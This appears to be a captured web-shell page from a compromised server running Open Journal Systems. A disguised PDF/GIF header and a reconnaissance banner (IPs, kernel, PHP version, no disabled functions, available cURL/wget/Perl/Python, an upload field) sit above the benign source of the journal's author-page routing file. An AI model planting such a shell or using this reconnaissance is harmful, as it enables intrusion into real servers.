%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/pages/author/ |
Upload File : |
<?php
/**
* @defgroup pages_author
*/
/**
* @file pages/author/index.php
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @ingroup pages_author
* @brief Handle requests for journal author functions.
*
*/
switch ($op) {
//
// Article Submission
//
case 'submit':
case 'saveSubmit':
case 'submitSuppFile':
case 'saveSubmitSuppFile':
case 'deleteSubmitSuppFile':
case 'expediteSubmission':
define('HANDLER_CLASS', 'SubmitHandler');
import('pages.author.SubmitHandler');
break;
//
// Submission Tracking
//
case 'deleteArticleFile':
case 'deleteSubmission':
case 'submission':
case 'editSuppFile':
case 'setSuppFileVisibility':
case 'saveSuppFile':
case 'addSuppFile':
case 'submissionReview':
case 'submissionEditing':
case 'uploadRevisedVersion':
case 'viewMetadata':
case 'saveMetadata':
case 'removeArticleCoverPage':
case 'uploadCopyeditVersion':
case 'completeAuthorCopyedit':
//
// Misc.
//
case 'downloadFile':
case 'viewFile':
case 'download':
//
// Proofreading Actions
//
case 'authorProofreadingComplete':
case 'proofGalley':
case 'proofGalleyTop':
case 'proofGalleyFile':
//
// Payment Actions
//
case 'paySubmissionFee':
case 'payFastTrackFee':
case 'payPublicationFee':
define('HANDLER_CLASS', 'TrackSubmissionHandler');
import('pages.author.TrackSubmissionHandler');
break;
//
// Submission Comments
//
case 'viewEditorDecisionComments':
case 'viewCopyeditComments':
case 'postCopyeditComment':
case 'emailEditorDecisionComment':
case 'viewProofreadComments':
case 'viewLayoutComments':
case 'postLayoutComment':
case 'postProofreadComment':
case 'editComment':
case 'saveComment':
case 'deleteComment':
define('HANDLER_CLASS', 'SubmissionCommentsHandler');
import('pages.author.SubmissionCommentsHandler');
break;
case 'index':
case 'instructions':
define('HANDLER_CLASS', 'AuthorHandler');
import('pages.author.AuthorHandler');
break;
}
?>